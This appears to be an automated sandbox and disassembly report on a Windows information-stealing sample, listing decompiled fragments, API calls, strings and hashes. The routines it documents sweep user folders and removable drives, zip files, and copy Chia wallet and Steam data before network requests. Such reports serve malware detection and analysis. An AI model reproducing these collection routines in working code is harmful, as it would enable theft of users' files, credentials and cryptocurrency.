									_push(_t177);
									_push( &_v2120);
								}
							}
							 *0x4680e4();
							E0040CFE0(_t184,  &_v2120, _v3216, _t238, _t274, _v3216,  &_v2120, _v3208, _a20, _a8, _v3212, _t184, _t238, 0, _a32);
							_t259 = _t262 + 0x28;
							_t174 =  *0x467f30(_t246);
							_t275 = _t246[_t174 + 1];
							_t246 =  &(_t246[_t174 + 1]);
						} while (_t275 != 0);
					}
					_t244 = _v3208;
				}
				L00429EE0(_t244,  &_v3232,  &_v3228);
				_t226 = _v3224;
				E00429E90(_v3224,  &_v3120, _v3232, _v3228);
				_t162 = E004080B0(_t244);
				_push(_t244);
				if(_t162 == 0) {
					_t163 = L00429F70();
				} else {
					_t163 = E0040A410( &_v3120);
				}
				 *[fs:0x0] = _v16;
				_pop(_t239);
				_pop(_t245);
				_pop(_t185);
				return L0042AC8A(_t163, _t185, _v20 ^ _t247, _t226, _t239, _t245);
			}

0x0040de77
0x0040de7c
0x0040de7e
0x0040de88
0x0040de97
0x0040de9a
0x0040dea2
0x0040dea8
0x0040deb2
0x0040deb8
0x0040debe
0x0040ded0
0x0040dee2
0x0040def6
0x0040df04
0x0040df16
0x0040df23
0x0040df2a
0x0040df30
0x0040df52
0x0040df7c
0x0040df96
0x0040df9b
0x0040dfa6
0x0040dfac
0x0040dfb1
0x0040dfbb
0x0040dfc1
0x0040dfc3
0x0040dfc9
0x0040dfc9
0x0040dfd0
0x0040dfd0
0x0040dfd2
0x0040dfd3
0x0040dfe1
0x0040dff9
0x0040e000
0x0040e012
0x0040e016
0x0040e01b
0x0040e023
0x0040e02a
0x0040e02c
0x0040e02c
0x0040e03b
0x0040e040
0x0040e04b
0x0040e057
0x0040e05f
0x0040e060
0x0040e065
0x0040e065
0x0040e068
0x0040e072
0x0040e07c
0x0040e089
0x0040e091
0x0040e092
0x0040e097
0x0040e097
0x0040e09a
0x0040e0a4
0x0040e0ae
0x0040e0b5
0x0040e0c2
0x0040e0ca
0x0040e0cb
0x0040e0d0
0x0040e0d0
0x0040e0d5
0x0040e0df
0x0040e0e9
0x0040e0f0
0x0040e112
0x0040e11a
0x0040e13c
0x0040e144
0x0040e166
0x0040e16e
0x0040e180
0x0040e185
0x0040e190
0x0040e196
0x0040e198
0x0040e1a3
0x0040e1ac
0x0040e1ae
0x0040e1ae
0x0040e1b3
0x0040e1b5
0x0040e1c0
0x0040e1c9
0x0040e1cb
0x0040e1d0
0x0040e1d0
0x0040e1de
0x0040e1e8
0x0040e1ea
0x0040e1ee
0x0040e335
0x0040e356
0x0040e35b
0x0040e1f4
0x0040e1fa
0x0040e204
0x0040e207
0x0040e210
0x0040e211
0x0040e21e
0x0040e258
0x0040e266
0x0040e279
0x0040e27e
0x0040e281
0x0040e288
0x0040e220
0x0040e220
0x0040e223
0x00000000
0x0040e225
0x0040e233
0x0040e246
0x0040e24b
0x0040e24e
0x0040e255
0x0040e255
0x0040e223
0x0040e289
0x0040e2bb
0x0040e2c0
0x0040e2c4
0x0040e2ca
0x0040e2cf
0x0040e2cf
0x0040e210
0x0040e2d9
0x0040e2d9
0x0040e2ee
0x0040e300
0x0040e30f
0x0040e315
0x0040e31d
0x0040e320
0x0040e363
0x0040e322
0x0040e322
0x0040e322
0x0040e36e
0x0040e376
0x0040e377
0x0040e378
0x0040e386

APIs

_memset.LIBCMT ref: 0040DEBE
_memset.LIBCMT ref: 0040DED0
_memset.LIBCMT ref: 0040DEE2
lstrcat.KERNEL32(?,\Files\), ref: 0040DEF6
lstrcat.KERNEL32(?,?), ref: 0040DF04
lstrcat.KERNEL32(?,.zip), ref: 0040DF16

Part of subcall function 00420E70: _memset.LIBCMT ref: 00420E91
Part of subcall function 00420E70: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?), ref: 00420EAA

Part of subcall function 00420C80: StrStrA.SHLWAPI(000F4240,00000000,?,00000000,?,0040DF47,?,%APPDATA%,00000000,0000001A,00000000,000F4240,00000000), ref: 00420C8D

lstrcpy.KERNEL32(?,00000000), ref: 0040DF52

Part of subcall function 00420C80: lstrcpyn.KERNEL32(C:\Users\user\Documents\,000F4240,00000000,?,?,0040DF47,?,%APPDATA%,00000000,0000001A,00000000,000F4240,00000000), ref: 00420CAB
Part of subcall function 00420C80: wsprintfA.USER32 ref: 00420CD6

lstrcpy.KERNEL32(?,00000000), ref: 0040DF7C
lstrcpy.KERNEL32(?,00000000), ref: 0040DFA6

Part of subcall function 0041F5B0: GetUserNameA.ADVAPI32(?,?), ref: 0041F5DB

lstrcpy.KERNEL32(?,00000000), ref: 0040E04B
lstrcpy.KERNEL32(?,00000000), ref: 0040E112
lstrcpy.KERNEL32(?,00000000), ref: 0040E13C
lstrcpy.KERNEL32(?,00000000), ref: 0040E166
lstrcpy.KERNEL32(?,00000000), ref: 0040E190
GetLogicalDriveStringsA.KERNEL32(00000064,?), ref: 0040E1FA
GetDriveTypeA.KERNEL32(00000000), ref: 0040E211
lstrcpy.KERNEL32(?,?), ref: 0040E233
lstrcpy.KERNEL32(?,?), ref: 0040E266

Part of subcall function 0040CFE0: _strtok_s.LIBCMT ref: 0040CFF1
Part of subcall function 0040CFE0: _strtok_s.LIBCMT ref: 0040D043

lstrcpy.KERNEL32(?,00000000), ref: 0040E289
lstrlen.KERNEL32(00000000), ref: 0040E2C4

Strings

%LOCALAPPDATA%, xrefs: 0040DF66
%PROGRAMFILES%, xrefs: 0040E126
\Desktop\, xrefs: 0040E005
\Files\, xrefs: 0040DEEA
%RECENT%, xrefs: 0040E17A
%DRIVE_REMOVABLE%, xrefs: 0040E240
*%RECENT%*, xrefs: 0040E1D8
%DOCUMENTS%, xrefs: 0040E0FC
%USERPROFILE%, xrefs: 0040DF90
%DESKTOP%, xrefs: 0040E035
*%DRIVE_FIXED%*, xrefs: 0040E198
.zip, xrefs: 0040DF0A
%APPDATA%, xrefs: 0040DF3C
%DRIVE_FIXED%, xrefs: 0040E273
C:\Users\, xrefs: 0040DFF3
%PROGRAMFILES_86%, xrefs: 0040E150
*%DRIVE_REMOVABLE%*, xrefs: 0040E1B5

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$_memset$lstrcat$Drive_strtok_s$FolderLogicalNamePathStringsTypeUserlstrcpynlstrlenwsprintf
String ID: %APPDATA%$%DESKTOP%$%DOCUMENTS%$%DRIVE_FIXED%$%DRIVE_REMOVABLE%$%LOCALAPPDATA%$%PROGRAMFILES%$%PROGRAMFILES_86%$%RECENT%$%USERPROFILE%$*%DRIVE_FIXED%*$*%DRIVE_REMOVABLE%*$*%RECENT%*$.zip$C:\Users\$\Desktop\$\Files\
API String ID: 2812017943-1865006654
Opcode ID: f6d227cea8367f0e8ba7086c49bc2770e9dd8e968e2f9db82c87408e54beacfc
Instruction ID: f96bf8b624428bcd8481153638a4363a7533f837e4d9516d1fac160419cff708
Opcode Fuzzy Hash: f6d227cea8367f0e8ba7086c49bc2770e9dd8e968e2f9db82c87408e54beacfc
Instruction Fuzzy Hash: 3ED1A8B1900214AFEB24DB61DC85FDF7778AB44704F1047DEF60962182DE796A88CF69

Uniqueness

Uniqueness Score: -1.00%

Function 00412170 Relevance: 52.7, APIs: 26, Strings: 4, Instructions: 195stringfileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004121AC

Part of subcall function 00420E70: _memset.LIBCMT ref: 00420E91
Part of subcall function 00420E70: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?), ref: 00420EAA

lstrcat.KERNEL32(?,00000000), ref: 004121C3
wsprintfA.USER32 ref: 004121E4
wsprintfA.USER32 ref: 004121FE
FindFirstFileA.KERNELBASE(?,?), ref: 00412215
StrCmpCA.SHLWAPI(?,0044B310), ref: 0041223C
StrCmpCA.SHLWAPI(?,0044B314), ref: 00412256
wsprintfA.USER32 ref: 0041228A
wsprintfA.USER32 ref: 004122A4
_memset.LIBCMT ref: 004122D5
lstrcat.KERNEL32(?,0044B330), ref: 004122E9
lstrcat.KERNEL32(?,0044B334), ref: 004122FB
lstrcat.KERNEL32(?,0044B338), ref: 0041230D
lstrcat.KERNEL32(?,0044B33C), ref: 0041231F
lstrcat.KERNEL32(?,0044B340), ref: 00412331
lstrcat.KERNEL32(?,0044B344), ref: 00412343
lstrcat.KERNEL32(?,0044B348), ref: 00412355
lstrcat.KERNEL32(?,0044B34C), ref: 00412367
lstrcat.KERNEL32(?,0044B350), ref: 00412379
lstrcat.KERNEL32(?,00000000), ref: 00412387
lstrcat.KERNEL32(?,0044B354), ref: 00412399
lstrcat.KERNEL32(?,?), ref: 004123B1
lstrcat.KERNEL32(?,0044B358), ref: 004123C3
lstrcat.KERNEL32(?,?), ref: 004123E7
FindNextFileA.KERNEL32(?,?), ref: 00412418
FindClose.KERNEL32(?), ref: 0041242D

Strings

%s\%s\*, xrefs: 004121DE
%s\%s\%s, xrefs: 0041229E
%s\%s\%s, xrefs: 004121F8
%s\%s\%s\%s, xrefs: 00412284

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$wsprintf$Find_memset$File$CloseFirstFolderNextPath
String ID: %s\%s\%s$%s\%s\%s$%s\%s\%s\%s$%s\%s\*
API String ID: 694348087-3894357254
Opcode ID: 61323ed375988c5088df52fda5d0e110af00e324432a2742f2a8cc8c045a3f4d
Instruction ID: b7ed849d51489674ed3362ccabfb3d45257d2589dae45ba7dc4f0d35cc37b76f
Opcode Fuzzy Hash: 61323ed375988c5088df52fda5d0e110af00e324432a2742f2a8cc8c045a3f4d
Instruction Fuzzy Hash: 27716375940218ABDB14DFA4DC45EDB7738EB48741F404AD9F509D2140EBB89AC8CF69

Uniqueness

Uniqueness Score: -1.00%

Function 00412690 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 172stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00420E70: _memset.LIBCMT ref: 00420E91
Part of subcall function 00420E70: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?), ref: 00420EAA

wsprintfA.USER32 ref: 004126D0
FindFirstFileA.KERNELBASE(?,?), ref: 004126E7
StrCmpCA.SHLWAPI(?,0044B3A8), ref: 0041270C
StrCmpCA.SHLWAPI(?,0044B3AC), ref: 00412726
wsprintfA.USER32 ref: 00412748
wsprintfA.USER32 ref: 0041276F
StrCmpCA.SHLWAPI(?,0044B2D6), ref: 0041277E
wsprintfA.USER32 ref: 004127B2
PathMatchSpecA.SHLWAPI(?,?), ref: 004127C9
_memset.LIBCMT ref: 004127E1
lstrcat.KERNEL32(?,0253C408), ref: 004127F7
lstrcat.KERNEL32(?,?), ref: 0041280B
CopyFileA.KERNEL32(?,?,00000001), ref: 00412821
DeleteFileA.KERNEL32(?), ref: 00412845
_memset.LIBCMT ref: 00412862
lstrcat.KERNEL32(?,043F95F0), ref: 00412872
lstrcat.KERNEL32(?,0044B3E4), ref: 00412884
lstrcat.KERNEL32(?,?), ref: 00412898
FindNextFileA.KERNEL32(?,?), ref: 004128CA
FindClose.KERNEL32(?), ref: 004128DF

Strings

%s\%s, xrefs: 004127A6
%s\%s, xrefs: 00412769
\Wallets\Chia Wallet\%s\%s, xrefs: 00412790
%s\%s\*, xrefs: 004126CA
%s\%s, xrefs: 00412742

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find_memset$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: %s\%s$%s\%s$%s\%s$%s\%s\*$\Wallets\Chia Wallet\%s\%s
API String ID: 2153862992-1213113048
Opcode ID: 0d0e20184be542d8f1f882669493a205874054e7be5bfd0453d1864a89bf6381
Instruction ID: 95a8131993720a922b2b4642fede92c8cb05605d737bbc3a5e16917ae8c99a21
Opcode Fuzzy Hash: 0d0e20184be542d8f1f882669493a205874054e7be5bfd0453d1864a89bf6381
Instruction Fuzzy Hash: 635186B5904218ABDB10DF60DC49FEA737CEB44704F0446DDF509A2141EBB9AB98CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00416BB0 Relevance: 43.9, APIs: 21, Strings: 4, Instructions: 166stringfileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00416BED
FindFirstFileA.KERNELBASE(?,?), ref: 00416C04
StrCmpCA.SHLWAPI(?,0044B994), ref: 00416C2C
StrCmpCA.SHLWAPI(?,0044B998), ref: 00416C46
wsprintfA.USER32 ref: 00416C68
StrCmpCA.SHLWAPI(?,0044B77E), ref: 00416C7D
wsprintfA.USER32 ref: 00416C9A
wsprintfA.USER32 ref: 00416CB9
PathMatchSpecA.SHLWAPI(?,?), ref: 00416CD0
_memset.LIBCMT ref: 00416CEC
lstrcat.KERNEL32(?,\Soft\), ref: 00416D00
lstrcat.KERNEL32(?,?), ref: 00416D0E
lstrcat.KERNEL32(?,0044B9B8), ref: 00416D20
lstrcat.KERNEL32(?,?), ref: 00416D34
_memset.LIBCMT ref: 00416D48
lstrcat.KERNEL32(?,0253C408), ref: 00416D5D
lstrcat.KERNEL32(?,00000000), ref: 00416D78
CopyFileA.KERNEL32(?,?,00000001), ref: 00416D8E
DeleteFileA.KERNEL32(?), ref: 00416DB5
FindNextFileA.KERNEL32(?,?), ref: 00416DE6
FindClose.KERNEL32(?), ref: 00416DFB

Strings

%s\*, xrefs: 00416BDB
%s\%s, xrefs: 00416CB3
%s\%s, xrefs: 00416C62
\Soft\, xrefs: 00416CF4

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$_memset$CloseCopyDeleteFirstMatchNextPathSpec
String ID: %s\%s$%s\%s$%s\*$\Soft\
API String ID: 827446654-2428673472
Opcode ID: e0516718506fb72742d74f69b2ec596333ce52dac27e08a45409cdf31635be69
Instruction ID: 04774a13364f1badcecbc85c3aa320964afbc0edf15f83b8369346d3a2c272c3
Opcode Fuzzy Hash: e0516718506fb72742d74f69b2ec596333ce52dac27e08a45409cdf31635be69
Instruction Fuzzy Hash: 075155B1A00219ABD724DB60DC85FEA7778EB48704F004AD9F50D92141EBB5EB88CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00412450 Relevance: 40.4, APIs: 20, Strings: 3, Instructions: 149stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00420E70: _memset.LIBCMT ref: 00420E91
Part of subcall function 00420E70: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?), ref: 00420EAA

wsprintfA.USER32 ref: 00412495
FindFirstFileA.KERNELBASE(?,?), ref: 004124AC
StrCmpCA.SHLWAPI(?,0044B364), ref: 004124CD
StrCmpCA.SHLWAPI(?,0044B368), ref: 004124E7
wsprintfA.USER32 ref: 00412509
wsprintfA.USER32 ref: 00412530
_memset.LIBCMT ref: 00412544
lstrcat.KERNEL32(?,0044B37C), ref: 00412558
lstrcat.KERNEL32(?,0044B380), ref: 0041256A
lstrcat.KERNEL32(?,0044B384), ref: 0041257C
lstrcat.KERNEL32(?,0044B388), ref: 0041258E
lstrcat.KERNEL32(?,0044B38C), ref: 004125A0
lstrcat.KERNEL32(?,0044B390), ref: 004125B2
lstrcat.KERNEL32(?,0044B394), ref: 004125C4
lstrcat.KERNEL32(?,0044B398), ref: 004125D6
lstrcat.KERNEL32(?,?), ref: 004125E4
lstrcat.KERNEL32(?,0044B39C), ref: 004125F6
lstrcat.KERNEL32(?,?), ref: 0041260A
FindNextFileA.KERNEL32(?,?), ref: 0041265C
FindClose.KERNEL32(?), ref: 00412671

Strings

%s\%s, xrefs: 00412503
%s\%s, xrefs: 0041252A
%s\%s\*, xrefs: 0041248F

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Findwsprintf$File_memset$CloseFirstFolderNextPath
String ID: %s\%s$%s\%s$%s\%s\*
API String ID: 526032476-3809585266
Opcode ID: dcf61786bc06bd9d84a818ffd08270bf73eeb07a3efe906584e2814c75038386
Instruction ID: 512b65becd98ff19847b2f74b3b7e48323439bde62661d4513c4c4711cbf2ad8
Opcode Fuzzy Hash: dcf61786bc06bd9d84a818ffd08270bf73eeb07a3efe906584e2814c75038386
Instruction Fuzzy Hash: 35518376900618ABD720DFA4DC49EEB7738EB48705F404AD9F549A2050EFB89AC8CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0040E600 Relevance: 37.6, APIs: 14, Strings: 7, Instructions: 819networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00405760: _memmove.LIBCMT ref: 0040579D

Part of subcall function 00405530: std::_Xinvalid_argument.LIBCPMT ref: 0040554A

DeleteUrlCacheEntry.WININET(00000000), ref: 0040EE89
DeleteUrlCacheEntry.WININET(?), ref: 0040EE9B

Part of subcall function 00405530: std::_Xinvalid_argument.LIBCPMT ref: 00405587
Part of subcall function 00405530: _memmove.LIBCMT ref: 004055E8

InternetOpenA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040EECD
InternetOpenA.WININET(?,00000000,00000000,00000000,00000000), ref: 0040EF2C
StrCmpCA.SHLWAPI(00000000,https,?,?,?,?,?,?,00000000), ref: 0040EF78
InternetConnectA.WININET(?,00000000,00000000,00000000,00000000,00000003,-04800000,00000000), ref: 0040EFBF
HttpOpenRequestA.WININET(00000000,GET,00000000,00000000,00000000,00000000,-04800000,00000000), ref: 0040EFF4
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040F00D
HttpQueryInfoA.WININET(00000000,00000013,?,00000000,00000000), ref: 0040F032
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040F0E8
InternetReadFile.WININET(00000000,00000000,000007CF,?), ref: 0040F162
InternetCloseHandle.WININET(00000000), ref: 0040F16D
InternetCloseHandle.WININET(00000000), ref: 0040F174
InternetCloseHandle.WININET(?), ref: 0040F181

Strings

/, xrefs: 0040E7E6
https://, xrefs: 0040E759
GET, xrefs: 0040EFEE
ERROR, xrefs: 0040F321
http://, xrefs: 0040E7A7
https, xrefs: 0040EF72
ERROR, xrefs: 0040F03C

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttpOpen$CacheDeleteEntryFileReadRequestXinvalid_argument_memmovestd::_$ConnectInfoQuerySend
String ID: /$ERROR$ERROR$GET$http://$https$https://
API String ID: 725552575-591585375
Opcode ID: df52802e83a4b74e4bc978c758a2a14c63472f429ba9402460a8cac8887c3095
Instruction ID: 0efead44a18ae13b58b1cd3de542f2db78e7d05536fa38861b9980c52d470a65
Opcode Fuzzy Hash: df52802e83a4b74e4bc978c758a2a14c63472f429ba9402460a8cac8887c3095
Instruction Fuzzy Hash: 62729DB1D022689AFB20DB25CD85BDEB7B4AB44304F0045EAE549772C2DB786F84CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0041B7E0 Relevance: 33.5, APIs: 15, Strings: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0041B838
FindFirstFileA.KERNEL32(?,?), ref: 0041B84F
StrCmpCA.SHLWAPI(?,0044B934), ref: 0041B87C
StrCmpCA.SHLWAPI(?,0044B938), ref: 0041B896
wsprintfA.USER32 ref: 0041B8BE
_memset.LIBCMT ref: 0041B8D2
wsprintfA.USER32 ref: 0041B8FE
_memset.LIBCMT ref: 0041B912
wsprintfA.USER32 ref: 0041B93A
StrCmpCA.SHLWAPI(?,043B44B0), ref: 0041B950
StrCmpCA.SHLWAPI(?,04372128), ref: 0041B9FA

Part of subcall function 0041AC70: _memset.LIBCMT ref: 0041ACCD
Part of subcall function 0041AC70: lstrcat.KERNEL32(?,0253C408), ref: 0041ACE3
Part of subcall function 0041AC70: lstrcat.KERNEL32(?,00000000), ref: 0041ACFE
Part of subcall function 0041AC70: CopyFileA.KERNEL32(00000000,?,00000001), ref: 0041AD0E

StrCmpCA.SHLWAPI(?,043722E8,?), ref: 0041BA9C
StrCmpCA.SHLWAPI(?,043B44E0), ref: 0041BB0B

Part of subcall function 0041B050: StrCmpCA.SHLWAPI(00000000,04372068,1A5A77C2,?,00000000,00000000), ref: 0041B0A9
Part of subcall function 0041B050: _memset.LIBCMT ref: 0041B0F7
Part of subcall function 0041B050: lstrcat.KERNEL32(?,0253C408), ref: 0041B10D
Part of subcall function 0041B050: lstrcat.KERNEL32(?,00000000), ref: 0041B128
Part of subcall function 0041B050: CopyFileA.KERNEL32(?,?,00000001), ref: 0041B138
Part of subcall function 0041B050: _memset.LIBCMT ref: 0041B14C
Part of subcall function 0041B050: lstrcat.KERNEL32(?,0044B7B8), ref: 0041B160
Part of subcall function 0041B050: lstrcat.KERNEL32(?,043720D8), ref: 0041B174
Part of subcall function 0041B050: lstrcat.KERNEL32(?,0044B7BC), ref: 0041B186
Part of subcall function 0041B050: lstrcat.KERNEL32(?,00000000), ref: 0041B194
Part of subcall function 0041B050: lstrcat.KERNEL32(?,0044B7C0), ref: 0041B1A6
Part of subcall function 0041B050: lstrcat.KERNEL32(?,?), ref: 0041B1B4
Part of subcall function 0041B050: lstrcat.KERNEL32(?,.txt), ref: 0041B1C6

FindNextFileA.KERNEL32(?,?), ref: 0041BBAD
FindClose.KERNEL32(?), ref: 0041BBC2

Strings

%s\%s\%s\%s, xrefs: 0041B8F8
%s\%s\%s, xrefs: 0041B934
%s\*, xrefs: 0041B826
%s\%s, xrefs: 0041B8B8

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$_memset$Filewsprintf$Find$Copy$CloseFirstNext
String ID: %s\%s$%s\%s\%s$%s\%s\%s\%s$%s\*
API String ID: 2783324787-2940171090
Opcode ID: cc871ca530b90de8309c22def4b9454a25f5de78b6375d5045a6c9aadd56a243
Instruction ID: 41c53adb2452f750573b1bdc26fe062fad06237b9e7b34274a2266cac99e4091
Opcode Fuzzy Hash: cc871ca530b90de8309c22def4b9454a25f5de78b6375d5045a6c9aadd56a243
Instruction Fuzzy Hash: 39B1E1B5A04A18AFDB24DB54CC94EEB7779EB88706F0042D9F509A3240DB74AEC5CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00418110 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 106libraryloaderstringCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(PATH,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,043B4558,?,00418411,0253C408,?,?,?,?,?,00000010,?,00000000), ref: 00418142
_memset.LIBCMT ref: 00418156
lstrcat.KERNEL32(?,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;), ref: 0041816A
lstrcat.KERNEL32(?,0044C080), ref: 0041817C
lstrcat.KERNEL32(?,0253C408), ref: 0041818A
SetEnvironmentVariableA.KERNEL32(PATH,?,?,?,?,?,00000010,?,00000000), ref: 0041819C
LoadLibraryA.KERNEL32(02532720,?,?,?,?,00000010,?,00000000), ref: 004181A9
GetProcAddress.KERNEL32(00000000,043B4768), ref: 004181C4
GetProcAddress.KERNEL32(6CFF0000,043B4780), ref: 004181DC
GetProcAddress.KERNEL32(6CFF0000,02532560), ref: 004181F5
GetProcAddress.KERNEL32(6CFF0000,043B47C8), ref: 0041820D
GetProcAddress.KERNEL32(6CFF0000,025325C0), ref: 00418225
GetProcAddress.KERNEL32(6CFF0000,043F62F0), ref: 0041823E

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 00418138, 0041815E
PATH, xrefs: 0041813D
PATH, xrefs: 00418197

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$lstrcat$EnvironmentVariable$LibraryLoad_memset
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;$PATH$PATH
API String ID: 1821372540-1017666751
Opcode ID: 91ccc3b87e1fb32ac910a2fecb14f30bf2c93e3d69768647c747222cd3ac41b3
Instruction ID: b9e506de48701896e5a503e01e518a27639fa200295b35d780f76a10280b1659
Opcode Fuzzy Hash: 91ccc3b87e1fb32ac910a2fecb14f30bf2c93e3d69768647c747222cd3ac41b3
Instruction Fuzzy Hash: 60415E74A04318EFD714DFA4FC49AAA73B4E748306F1046BAF90583661FB789944CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0040AAC0 Relevance: 26.3, APIs: 13, Strings: 2, Instructions: 94stringfileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0040AAE9
FindFirstFileA.KERNELBASE(?,?), ref: 0040AB00
StrCmpCA.SHLWAPI(?,00448DE4), ref: 0040AB1D
StrCmpCA.SHLWAPI(?,00448DE8), ref: 0040AB37
_memset.LIBCMT ref: 0040AB53
_memset.LIBCMT ref: 0040AB66
lstrcat.KERNEL32(?,\Soft\Steam\), ref: 0040AB7A
lstrcat.KERNEL32(?,?), ref: 0040AB8E
lstrcat.KERNEL32(?,?), ref: 0040AB9C
lstrcat.KERNEL32(?,00448DFC), ref: 0040ABAE
lstrcat.KERNEL32(?,?), ref: 0040ABC2
FindNextFileA.KERNEL32(00000000,?), ref: 0040ABED
FindClose.KERNEL32(00000000), ref: 0040ABFC

Strings

\Soft\Steam\, xrefs: 0040AB6E
%s\%s, xrefs: 0040AAE3

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File_memset$CloseFirstNextwsprintf
String ID: %s\%s$\Soft\Steam\
API String ID: 2894742787-2995071678
Opcode ID: 5d8be1970626b55599c142fab04c18c9449ae816304ef26842ad0c522bbeb63c
Instruction ID: 923e93c9c9367cf7e6f42c71168d2bd68d8d0c1d8958b6dd13a73a6c7c564182
